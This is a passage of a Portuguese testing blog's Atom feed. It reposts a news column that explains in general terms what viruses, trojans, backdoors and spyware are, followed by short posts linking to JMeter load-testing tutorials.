/&gt;Tornou-se comum o uso da palavra “vírus” para descrever  um programa capaz de realizar qualquer atividade indesejável no  computador. Originalmente, porém, os vírus têm uma definição menos  abrangente: são softwares que se integram a outros “infectando-os”, com o  objetivo de se espalharem de um sistema para outro.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;br /&gt;&lt;div&gt;É  conhecido como “Brain” (1986) o primeiro programa do gênero para a  plataforma PC, ou Intel x86, que usamos até hoje. O Brain, segundo os  autores paquistaneses -- que deixaram seus nomes, endereços e telefones  expostos dentro do vírus --, tinha o objetivo de impedir a pirataria do  software médico que eles haviam criado. Mas o programa logo foi além e  infectou máquinas de vários locais e sem relação com o aplicativo deles.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;No ano seguinte, em 1987, vários outros vírus apareceram, juntamente com os primeiros softwares antivírus.&lt;br /&gt;&lt;br /&gt;As  pragas digitais que ainda se alojam dentro de outros programas são  raras e não têm mais o objetivo de se espalhar por este meio, mas sim  dificultar sua remoção.&lt;br /&gt;&lt;br /&gt;saiba mais&lt;br /&gt;&lt;a class="tamanho-14" title="" href="http://g1.globo.com/Noticias/Tecnologia/0,,MUL852851-6174,00-VIRUS+ATACAM+BRECHA+CRITICA+NO+WINDOWS.html"&gt;Vírus atacam brecha crítica no Windows&lt;/a&gt;&lt;br /&gt;&lt;a class="tamanho-14" title="" href="http://g1.globo.com/Noticias/Tecnologia/0,,MUL843498-6174,00-MICROSOFT+E+OPENOFFICE+LANCAM+ATUALIZACOES+CONTRA+GOLPES.html"&gt;Microsoft e OpenOffice lançam atualizações contra golpes&lt;/a&gt;&lt;br /&gt;&lt;a class="tamanho-14" title="" href="http://g1.globo.com/Noticias/Tecnologia/0,,MUL840515-6174,00-RAIOX+DA+SEGURANCA+ENTENDA+A+FUNCAO+DOS+SOFTWARES+QUE+BLINDAM+O+PC.html"&gt;Raio-x da segurança: entenda a função dos softwares que blindam o PC&lt;/a&gt;&lt;br /&gt;&lt;a class="tamanho-14" title="" href="http://g1.globo.com/Noticias/Tecnologia/0,,MUL838114-6174,00-SAIBA+COMO+ESCOLHER+PROGRAMAS+PARA+PROTEGER+SEU+PC.html"&gt;Saiba como escolher programas para proteger seu PC&lt;/a&gt;&lt;br /&gt;&lt;a class="tamanho-14" title="" href="http://g1.globo.com/Noticias/Tecnologia/0,,MUL850057-6174,00-PACOTAO+DE+SEGURANCA+QUARENTENA+ANTIVIRUS+ANTIGO+E+VARREDURA+NO+PC.html"&gt;Pacotão de segurança: quarentena, antivírus antigo e varredura no PC&lt;/a&gt;&lt;br /&gt;Existem  também os chamados de “vírus de pendrive”, que nada mais são do que uma  evolução das pragas que infectavam disquetes, embora alguns os  considerem worms (detalharei a ação dos worms na coluna da próxima  segunda, 17). Esses podem ser evitados segurando-se SHIFT ao plugar o  dispositivo USB, o que impedirá a execução automática de uma praga  armazenada no pendrive, ou desativando por completo o AutoRun, como  explicou &lt;a href="http://colunas.g1.com.br/tiraduvidas/2008/10/10/pacotao-de-duvidas-reforma-no-firefox-e-mais-seguranca-no-pen-drive/"&gt;aqui Fernando Panissi, da coluna Tira-dúvidas&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;A  denominação de “vírus clássicos” foi criada para evitar confusões com o  genérico “vírus”. Pelo mesmo motivo, um novo termo foi criados para  definir qualquer programa indesejado:“malware” (malicious software).&lt;br /&gt;&lt;br /&gt;Trojan&lt;br /&gt;Nomeados  com base na história do presente de grego, os “cavalos de tróia” tentam  se passar por algo que interessa aos usuários, fazendo-os executar o  programa malicioso sem suspeitar que o mesmo não é nada do que parece. O  jogo "Animal" (1975), que tentava adivinhar em qual animal o usuário  estava pensando, é considerado o primeiro cavalo de tróia, pois, apesar  de ser benigno, copiava-se para todas as pastas as quais o usuário tinha  acesso.&lt;br /&gt;Hoje, por outro lado, é chamada de “trojan” qualquer praga  incapaz de se espalhar sozinha. Por esse motivo, sites maliciosos ou  comprometidos -- páginas legítimas alteradas por criminosos -- que  infectam o sistema por meio de brechas de segurança instalam “cavalos de  tróia” na máquina. A “enganação” se dá de forma muito menos aparente: a  visita ao site legítimo ou um resultado malicioso em um site de busca.&lt;br /&gt;&lt;br /&gt;Backdoor&lt;br /&gt;Os  “backdoors” (“porta dos fundos”) são programas maliciosos que dão ao  seu criador o controle total do computador infectado. Geralmente são  disseminados em conjunto com ferramentas úteis para que o usuário não  suspeite da praga e, por isso, são considerados uma subcategoria dos  trojans.&lt;br /&gt;&lt;br /&gt;&lt;a class="foto-zoom-ef" title="Netbus foi um backdoor extremamente popular por ser                 de fácil utilização. Permitia o controle de um sistema                 infectado.  (Foto: Reprodução )" href="http://g1.globo.com/Noticias/Tecnologia/foto/0,,15881762-EX,00.jpg"&gt;Foto: Reprodução &lt;/a&gt;&lt;br /&gt;Netbus  foi um backdoor extremamente popular por ser de fácil utilização.  Permitia o controle de um sistema infectado. (Foto: Reprodução )&lt;br /&gt;Exemplos  de backdoors são os clássicos NetBus e BackOrifice, ambos de 1998. O  Bifrost (2004) e o SpyOne (2006) são pragas mais recentes e populares.  Algumas delas, como as versões mais recentes do NetBus e o SpyOne, são  comercializadas como soluções de “administração remota”.&lt;br /&gt;&lt;br /&gt;Criminosos  com bom conhecimento técnico utilizam backdoors feitos especificamente  para as tarefas que necessitam; outros tiram proveito de softwares  legítimos como &lt;a href="http://www.realvnc.com/" target="_blank"&gt;VNC&lt;/a&gt; e &lt;a href="http://www.radmin.com/" target="_blank"&gt;Radmin&lt;/a&gt;.&lt;br /&gt;A  preocupação com os backdoors deu origem aos chamados antitrojans.  Alguns deles nada mais eram que firewalls simplificados que, em vez de  monitorar a conexão toda, preocupavam-se exclusivamente com a  identificação dos tráfegos de trojan-backdoors. Hoje esses softwares  estão obsoletos e são desnecessários, seja devido ao firewall -- que  bloqueia os backdoors -- ou ao antivírus, que detecta tanto um como o  outro.&lt;br /&gt;&lt;br /&gt;Spyware&lt;br /&gt;Existe uma confusão a respeito de pragas que  roubam informações confidenciais do sistema, tais como senhas de banco.  Há quem diga que são spywares (“espiões”), mas não é o caso. Spywares  são softwares que coletam informações comercialmente úteis, tais como  hábitos de navegação, endereços de e-mail e softwares instalados no  sistema.&lt;br /&gt;Pode ser considerado spyware ainda o software que é usado  pelos pais para monitorar o filho, a empresa que monitora o empregado,  etc. Se a informação roubada tem claros objetivos financeiros -- cartões  de crédito, senhas de banco, códigos seriais de programas instalados --  o programa deixa de ser um spyware para ser um trojan.&lt;br /&gt;&lt;br /&gt;Na coluna  de hoje é só, mas na próxima segunda-feira (17), o assunto será  continuado com informações a respeito dos worms, exploits, vírus de  macro, adwares e antivírus falsos. Antes, na quarta-feira (12), serão  respondidas as dúvidas deixadas nos comentários. E, na sexta (14), eu  volto com as principais notícias de segurança da semana. Se você tem  alguma dúvida ou sugestão, use o espaço de comentários abaixo.&lt;br /&gt;&lt;br /&gt;*  Altieres Rohr é especialista em segurança de computadores e, nesta  coluna, vai responder dúvidas, explicar conceitos e dar dicas e  esclarecimentos sobre antivírus, firewalls, crimes virtuais, proteção de  dados e outros. Ele criou e edita o &lt;a href="http://www.linhadefensiva.org/" target="_blank"&gt;Linha Defensiva&lt;/a&gt;,  site e fórum de segurança que oferece um serviço gratuito de remoção de  pragas digitais, entre outras atividades. Na coluna “Segurança para o  PC”, o especialista também vai tirar dúvidas deixadas pelos leitores na  seção de comentários.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://busca2.globo.com/Busca/g1/?query=%22seguran%E7a%20para%20o%20pc%22%20altieres" target="_blank"&gt;Leia mais colunas sobre segurança para o PC &lt;/a&gt;&lt;br /&gt;&lt;a href="http://g1.globo.com/Noticias/Tecnologia/0,,6174,00.html"&gt;Leia mais notícias de Tecnologia &lt;/a&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-8212894998193082846?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/8212894998193082846/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/virus-tornou-se-comum-o-uso-da-palavra.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/8212894998193082846?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/8212894998193082846?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/virus-tornou-se-comum-o-uso-da-palavra.html' title='A historia do virus'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;Ak4ESXc7eSp7ImA9Wx9RGUg.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-5903432771909262764</id><published>2010-12-21T11:14:00.000-08:00</published><updated>2010-12-21T11:15:08.901-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-21T11:15:08.901-08:00</app:edited><title></title><content type='html'>&lt;p&gt;Se você se acha "Nerd" por resolver o &lt;a class="ext" href="http://en.wikipedia.org/wiki/Rubik%27s_Cube" target="_blank" jquery1229713900000="18"&gt;Cubo de Rubik&lt;/a&gt;, fique sabendo que Nerd de verdade pega um &lt;a class="ext" href="http://en.wikipedia.org/wiki/Lego_Mindstorms" target="_blank" jquery1229713900000="19"&gt;Lego Mindstorms&lt;/a&gt; e constrói um robô para resolver, como o &lt;a class="ext" href="http://tiltedtwister.com/" target="_blank" jquery1229713900000="20"&gt;Titled Twister&lt;/a&gt; ai em baixo:&lt;/p&gt;&lt;p&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/5fAn5A0HbhU&amp;amp;hl=pt-br&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/5fAn5A0HbhU&amp;amp;hl=pt-br&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="344" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-5903432771909262764?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/5903432771909262764/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/se-voce-se-acha-nerd-por-resolver-o.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/5903432771909262764?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/5903432771909262764?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/se-voce-se-acha-nerd-por-resolver-o.html' title=''/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;AkYEQX0-cCp7ImA9Wx9RFE8.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-6554647911685418605</id><published>2010-12-15T07:45:00.000-08:00</published><updated>2010-12-15T07:48:20.358-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-15T07:48:20.358-08:00</app:edited><title>Dica Jmetter</title><content type='html'>Salve o report com esse formato NOMEDOARQUIVO${__time(yyyyMMddHHmmss,)}.jtl,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-6554647911685418605?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/6554647911685418605/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/dica-jmetter.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/6554647911685418605?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/6554647911685418605?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/dica-jmetter.html' title='Dica Jmetter'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DEAHSXc4eCp7ImA9Wx9RFEw.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-2619772463121568202</id><published>2010-12-15T04:38:00.001-08:00</published><updated>2010-12-15T04:38:58.930-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-15T04:38:58.930-08:00</app:edited><title>Jmetter e BD</title><content type='html'>esse aqui é para fazer testes no banco de dados&lt;br /&gt;&lt;br /&gt;http://www.devmedia.com.br/post-4118-JMeter-executando-testes-de-desempenho.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-2619772463121568202?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/2619772463121568202/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/jmetter-e-bd.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/2619772463121568202?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/2619772463121568202?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/jmetter-e-bd.html' title='Jmetter e BD'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DEEEQHY6eCp7ImA9Wx9RFEw.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-3775437446031171476</id><published>2010-12-15T04:35:00.000-08:00</published><updated>2010-12-15T04:36:41.810-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-15T04:36:41.810-08:00</app:edited><title>Jmetter d novo</title><content type='html'>Esse tutorial é bom pq ensina usar o Jmetter com CSV.. que facilita muito a vida da gente&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://tecnociencia.inf.br/comunidade/index.php?option=com_content&amp;amp;task=view&amp;amp;id=362&amp;amp;Itemid=261&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-3775437446031171476?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/3775437446031171476/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/jmetter-d-novo.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/3775437446031171476?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/3775437446031171476?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/jmetter-d-novo.html' title='Jmetter d novo'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;D0QHSXY9cSp7ImA9Wx9RFEw.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-5352870999770179881</id><published>2010-12-15T04:15:00.001-08:00</published><updated>2010-12-15T04:15:38.869-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-15T04:15:38.869-08:00</app:edited><title>Jmetter</title><content type='html'>http://www.zezologs.org/blog/ferramenta-de-testes-jmeter/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-5352870999770179881?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/5352870999770179881/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/jmetter.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/5352870999770179881?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/5352870999770179881?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/jmetter.html' title='Jmetter'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;D0cGR3g4fyp7ImA9Wx9RFEw.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-2452328101784893081</id><published>2010-12-15T04:04:00.000-08:00</published><updated>2010-12-15T04:10:26.637-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-15T04:10:26.637-08:00</app:edited><title>Jmeter  melhores graficos</title><content type='html'>Hoje procurando por Jmetter  e descobrir como usar aqueles gráficos capetosos.. encontrei a documentação oficial ... em inglês&lt;br /&gt;&lt;br /&gt;&lt;a href="http://jakarta.apache.org/jmeter/usermanual/component_reference.html"&gt;http://jakarta.apache.org/jmeter/usermanual/component_reference.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;mas tbm... achei uma coisa muito legal... como melhorar esses gráficos....&lt;br /&gt;&lt;br /&gt;&lt;a href="http://rubenlaguna.com/wp/better-jmeter-graphs/"&gt;http://rubenlaguna.com/wp/better-jmeter-graphs/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;funciona.... o problema foi arrumar as permissões do linux (que ainda não entendo nada)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-2452328101784893081?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/2452328101784893081/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/jmeter-melhores-graficos.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/2452328101784893081?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/2452328101784893081?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/jmeter-melhores-graficos.html' title='Jmeter  melhores graficos'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;AkQCQX05fyp7ImA9Wx9RE0k.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-226054197954106117</id><published>2010-12-14T09:38:00.000-08:00</published><updated>2010-12-14T09:39:20.327-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-14T09:39:20.327-08:00</app:edited><title>bom tbm</title><content type='html'>&lt;div style="width:425px" id="__ss_655186"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/freedomdayms/utilizando-jmeter-para-realizar-testes-de-carga-em-aplicaes-web-presentation" title="Utilizando JMeter para realizar testes de carga em aplicações WEB"&gt;Utilizando JMeter para realizar testes de carga em aplicações WEB&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse655186" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=jmeterrobinsoncastilho-1223917240877881-9&amp;stripped_title=utilizando-jmeter-para-realizar-testes-de-carga-em-aplicaes-web-presentation&amp;userName=freedomdayms" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse655186" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=jmeterrobinsoncastilho-1223917240877881-9&amp;stripped_title=utilizando-jmeter-para-realizar-testes-de-carga-em-aplicaes-web-presentation&amp;userName=freedomdayms" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/freedomdayms"&gt;Freedom DayMS&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-226054197954106117?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/226054197954106117/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/bom-tbm.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/226054197954106117?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/226054197954106117?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2010/12/bom-tbm.html' title='bom tbm'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DUIBRH0-fyp7ImA9Wx9RE0k.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-8838083758592600348</id><published>2010-12-14T09:24:00.000-08:00</published><updated>2010-12-14T09:25:55.357-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-12-14T09:25:55.357-08:00</app:edited><title></title><content type='html'>&lt;h3 class="post-title entry-title"&gt; JMeter &lt;/h3&gt; &lt;div class="post-header"&gt;  &lt;/div&gt;  &lt;span style="font-family: arial;"&gt;O  JMeter é uma ferramenta open-source do grupo Jakarta Apache,  desenvolvida totalmente com tecnologia Java, para a execução de testes  de carga. Também é possível realizar testes de performance e de  caixa-preta. Para a realização de testes, a ferramenta JMeter  disponibiliza diversos tipos de requisições e assertions (para validar o  resultado dessas requisições), um de seus atrativos é o fato de  permitir a execução de plano de testes que podem ser configurados  graficamente&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;O JMeter  disponibiliza também um controle de threads, chamado Thread Group, no  qual é possível configurar o número de threads, a quantidade de vezes  que cada thread será executada e o intervalo entre cada execução, que  ajuda a realizar os testes de carga. E por fim, existem diversos  listeners, que podem ser usados para gerar gráficos e tabelas, com base  nos resultados das requisições ou dos assertions.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Plano de Testes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Para  qualquer teste que venha a ser feito utilizando o JMeter, é necessário  criar um Plano de Testes, incluindo os elementos do teste. Estes  elementos podem ser: Thread Group, Configuration Element, Listener,  Timer, Controller, Assertion, Pre-Processor Element ou Post-Processor  Element. Abaixo descrevemos cada um deles.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Thread Group&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Este  é ponto de começo, todos os outros elementos do Test Plan devem estar  sob este. Como o próprio nome ressalta, este controla as threads que  serão executadas pelo teste.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Configuration Elements&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Embora não faça requisições (exceto para HTTP Proxy Server), este elemento pode modificar as requisições.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Listeners&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Estes são os elementos que fornecem acesso aos resultados dos testes realizados no JMeter.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Timers&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Por padrão, o JMeter faz requisições sem pausas entre elas. Os timers são utilizados para incluir pausas entre as requisições.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Controllers&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Os Controllers estão divididos em dois grupos Samplers e Logic Controllers:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;     Samplers — São controladores pré-definidos para requisições  específicas. Podendo ser customizada com a inserção de configurações  (Configurations), Assertions e etc.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;     Logic Controllers — São controladores mais genéricos. Podendo ser  customizados com a inserção de outros controllers, configuration  elements, assertions, etc.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Assertions&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Usadas para verificar se a resposta obtida na requisição é a esperada. Podem ser usadas expressões regulares na comparação.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Pre-Processor Elements&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Executa alguma ação antes de fazer a requisição. Mais usado para pré-configurações das requisições.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Post-Processor Elements&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Executa alguma ação depois de fazer a requisição. Mais usado para processar as respostas da requisição.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tipos de Requisição&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;O JMeter suporta os seguintes tipos de requisição em suas rotinas de testes:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;    FTP — Permite criar requisições usando o protocolo FTP e executa o comando de retrieve em um arquivo específico.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;     HTTP — Permite criar requisições usando o protocolo HTTP ou HTTPS,  podendo incluir parâmetros ou arquivos a requisição, escolher o método  usado (GET ou POST) e manipular cookies. Este sampler possui dois tipos  de implementação: Java HTTP ou Commons HTTPClient.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;    JDBC — Com esta requisição é possível executar queries em um banco de dados específico.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;     Objeto Java — Ajuda no teste de carga de classes Java, exigindo para  isso a implementação de uma classe do tipo JavaSamplerClient para  executar o método a ser testado. A estrutura deste objeto é similar a  usada pelo JUnit.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;    SOAP/XML-RPC — Permite enviar requisições SOAP para um WebService, ou enviar XML-RPC através do protocolo HTTP.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;    LDAP — Permite enviar requisições para um servidor LDAP. Possui uma implementação simplificada e outra estendida.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;    Testes JUnit — Usado para fazer teste de carga em testes de unidade que utilizam o framework JUnit.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: arial;"&gt;&lt;br /&gt;Existem  outros tipos de requisições que, até a atual versão do JMeter, estão em  versão alfa, eles são: Web service (SOAP), Access Log, BeanShell, BSF,  TCP, JMS Publisher, JMS Subscriber, JMS Point-to- Point.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br 